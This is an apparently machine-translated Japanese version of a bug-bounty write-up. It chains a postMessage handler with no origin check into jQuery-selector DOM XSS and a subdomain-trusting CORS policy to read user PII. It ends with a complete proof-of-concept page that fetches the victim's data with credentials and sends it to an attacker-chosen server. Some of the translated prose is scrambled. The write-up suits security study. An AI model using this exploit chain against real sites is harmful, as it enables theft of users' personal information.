PostMessage , Cross-Window-Communication Misconfig ( from out-of-scope to P2 with 5x reward ) から学ぶ

ソース:

mouhannadalhmedi.medium.com

脆弱性XSS, CORS

 

訳:

周知のとおり、最新の Web アプリケーション、特にSPA を備えた Web アプリケーションは、クライアント側のアプリケーションに大きく依存しています。
分析、支払い処理、認証、チャット サービスなどのコミュニケーション ツールなど、多数のサードパーティ サービスを備えていないクライアント側アプリケーションを見つけることはほとんどありません。

 

クロスオリジン通信

が付属しています。 ほとんどの場合、これらのサービスはサードパーティプロバイダーでホストされているため、異なる「オリジン
たとえば、ある企業が「 https://company.com 」オリジンを持ち、埋め込みまたはポップアップウィンドウを使用している 」のようなオリジンに付属する支払い処理用の Stripe のように 場合などです。 「 https://sub.stripe.com のような同じ会社のサブドメインであっても 、「 https://sub1.company.com 」や「https://sub2.company」 .com」 も元サイトが違います! により 、ブラウザのセキュリティ メカニズムSOP これら 2 つのウィンドウは相互にデータやスクリプトにアクセスできません。

 

https://pipwerks.com/2008/11/30/iframes-and-cross-domain-security-part-2/

しかし、 これら 2 つの異なるウィンドウは、何らかの情報 (支払い情報など) を交換したり、何らかのイベントが発生したこと (支払いが成功したか失敗したり) をもう一方のウィンドウに通知するために、引き続き通信する必要があります。
そのため、 HTML5 PostMessage() メソッドが導入されました。

 

window.postMessage()このメソッドは、間のクロスオリジン通信を安全に有効にします。 Windowオブジェクト。 たとえば、 ページとそのページが生成したポップアップの間、またはページとその中に埋め込まれた iframe の間などです。( https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage

クロスオリジン通信のリスク!

について セキュリティ上の懸念 PostMessage() の MDN は次のように述べています。

「他のサイトからメッセージを受信することが予想される場合は、常に、 originそしておそらく sourceプロパティ。 任意のウィンドウ (たとえば、 http://evil.example.com) は他のウィンドウにメッセージを送信できますが、未知の送信者が悪意のあるメッセージを送信しないという保証はありません。 ただし、本人確認が完了しても、受信したメッセージの構文を常に確認する必要があります。 そうしないと、信頼できるメッセージのみを送信するように信頼していたサイトにセキュリティ ホールが発生し、サイトにクロスサイト スクリプティング ホールが開く可能性があります。 「

したがって、 、 postMessage API は攻撃対象となる可能性があります。 メッセージ リスナーが適切に構成されていない 場合(送信元/送信元が十分に検証されていない場合)

脆弱な PostMessage ハンドラー

いくつかのターゲットでテストしているときに、PostMessage ハンドラーに興味を持ちました。

 

 window.addEventListener("message", (function(event) {
if ("hsFormCallback" === event.data.type) {
var formId = event.data.id
, $forms = $('form[data-form-id="' + formId + '"]');
if ("onFormReady" === event.data.eventName && $forms.each((function() {
var $investableAssets = $(this).find('select[name="wmx_investable_assets"]');
if ($investableAssets) {
var getTier = function(investableAssets) {
return ["$300k - $500k", "$350k - $500k", "$500k - $1 million", "$1-2 million", "$2 million or more"].indexOf(investableAssets) > -1 ? "High" : "Low"
};
if ($investableAssets.val()) {
var tier = getTier($investableAssets.val());
window.dataLayer.push({
tier: tier
}),
window.MFWM.setCookie("prospect_tier", tier, 365)
}
$investableAssets.on("change", (function() {
var tier = getTier($(this).val());
window.dataLayer.push({
tier: tier
}),
window.MFWM.setCookie("prospect_tier", tier, 365)
...
...

そして、ご覧のとおり、この PostMessage ハンドラーは、送信元の検証を行わずに、あらゆる送信者からメッセージを受信します。 、ということは、現在脆弱性があるのでそれを報告する必要があるのでしょうか? いいえ、 違いありません。 この設定ミスにより何らかの影響が生じるに

PostMessage の構成ミスによる最も一般的なセキュリティへの影響は、 DOM ベースの XSS の実現、機密情報の漏洩、または被害者の動作に対するアクションの実行です。

jQuery には本当に脆弱性があるのでしょうか?

スキャナーや、 reiter.js ブラウザー拡張機能などのツールを使用する場合:

 

 

多くの場合、いくつかのセキュリティ問題に対して脆弱なバージョンを持つ jQuery ライブラリが存在することを示す結果が得られましたが、残念なことに、すぐにセキュリティの脆弱性として報告し、すぐに N/A を受け取る人が多くいます。 :)

では jQuery ライブラリには本当に脆弱性があるのでしょうか ?

脆弱性では Dom ベースの ペイロードを挿入する必要があり 、攻撃者が制御可能なソース ( location.search など ) 、このペイロード必要があります に到達する シンク ( eval、innerHTML、documnet.write() など) 。
攻撃者が制御可能な ソース だけがあり、そこから得られるデータは DOMXSS シンクに到達しません。「セキュリティ上の脆弱性はありません!」。

jQueryセレクター。 jQuery セレクタ ような $(“div”) 要素を選択する すべてのdiv ページ内の jQuery(“someID”) のような 、または“someID” ID を持つ HTML 要素を選択する

 

興味深い は、一部の jQuery バージョン を含む文字列をこの jQuery セレクターに渡すと では、 HTML タグ セレクターがそれを HTML 要素として解析することです。 、 $(“<img src=x onerror=alert(1)>”) のように、DOMXSS を達成します
したがって、
これらのバージョンの jQuery では、「 セレクターは DOMXSS シンクになります で前述したように、 」 ( innerHTML と同じ) ですが、 DOMXSS では十分ではなく ソース または シンクだけ 、両方が必要です 。 これ が基本的な理由です。jQuery の脆弱なバージョンを見つけただけでは、 なので、 DOMXSS がある DOMXSS シンクがあるだけ と言うには十分ではありません。
DOMXSS ソースも見つける必要があります

私の場合、postMessage ハンドラー コード (上記) を確認した後、 DOM-XSS シンク に気づくまでこのjQuery セレクタは見つかりませんでした。

 

, $forms = $('form[data-form-id="' + formId + '"]');

 

変数の値は、 一方、「 formId」 から取得されます event.data.id である から受信したデータ メッセージ 幸いなことに、 postMessage 送信者 。 この jQuery ライブラリのバージョンは 1.7.1 を使用して jQuery ライブラリが脆弱かどうかを確認できます であるため (このWeb サイト )、脆弱です ( つまり、このセレクタは他の DOMXSS シンクと同様です )、攻撃者が制御可能なソースがあります。 があります PostMessage()、 DOMXSS !!

CORS の構成ミス

素晴らしい! しかし、このレポートを送信しようとしたとき、プログラム ポリシーで、 クライアント側の脆弱性 はこのサブドメインでは対象外であることがわかりました :')

 

一部のエンドポイントに対する burp リクエスト履歴を確認しているときに しかし、この脆弱性は依然として攻撃対象となる可能性があり、範囲内の どうかを確認しました。 CORS の ミスがないか 編集して、 設定 、ユーザー PII を返す興味深い API エンドポイントを見つけました。Originヘッダーを次のように https://evil.com は、出所不明に対して十分に保護されていますが、依然としてサブドメインを信頼しているため、「https:// ourXssVulnerableSub .comapny.com」は信頼されています。

CORS を使用したチェーン DOMXSS から PII への抽出

機密性の高い PII を含む別のサブドメイン上の CORS によって信頼されているサブドメイン上の XSS があるため、XSS を使用して、被害者の動作に関する HTTP リクエストをユーザーの PII を含むサブドメインに簡単に作成し、送り返すことができます。
応答は制御可能なサーバーにデータを受信しました。最終的な POC コードは次のとおりです。

 

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>stealing PII POC</title>
</head>
<body>
<script>
let win = window.open("https://ourXssVulnerableSub.comapny.com");
setTimeout(() => {
poc(win);
}, 5000);

function poc(win) {
let fetchPII = `<img src=x onerror="eval('var PII;
// fetching victim user PII info from https://PII-sub.company.com
fetch('https://PII-sub.company.com',{method:'get',credentials: 'include', headers:{'Content-Type':'application/json'}})
.then((response) => response.json())
.then((x) => {
PII = JSON.stringify(x);
window.opener.postMessage(PII, "*"); // send victim user PII info to parent window ( attacker web page window )

});
')" >`;

msg = {
type: "hsFormCallback",
id: fetchPII,
};
win.postMessage(msg, "*");
}

window.addEventListener("message", function (msg) {
// when recive user PII info send it to attacker server

let ATTACKER_SERVER = new URLSearchParams(location.search).get("url");

new Image().src =
ATTACKER_SERVER +
"?victimPII=" + // add here your controlable server to send victim PII info to it
msg.data;
});
</script>
</body>
</html>

 

おそらく、後の postMessage の記事で、postMessage miconfig POC を構築する方法を詳しく説明します :)。 

 

ほなほな。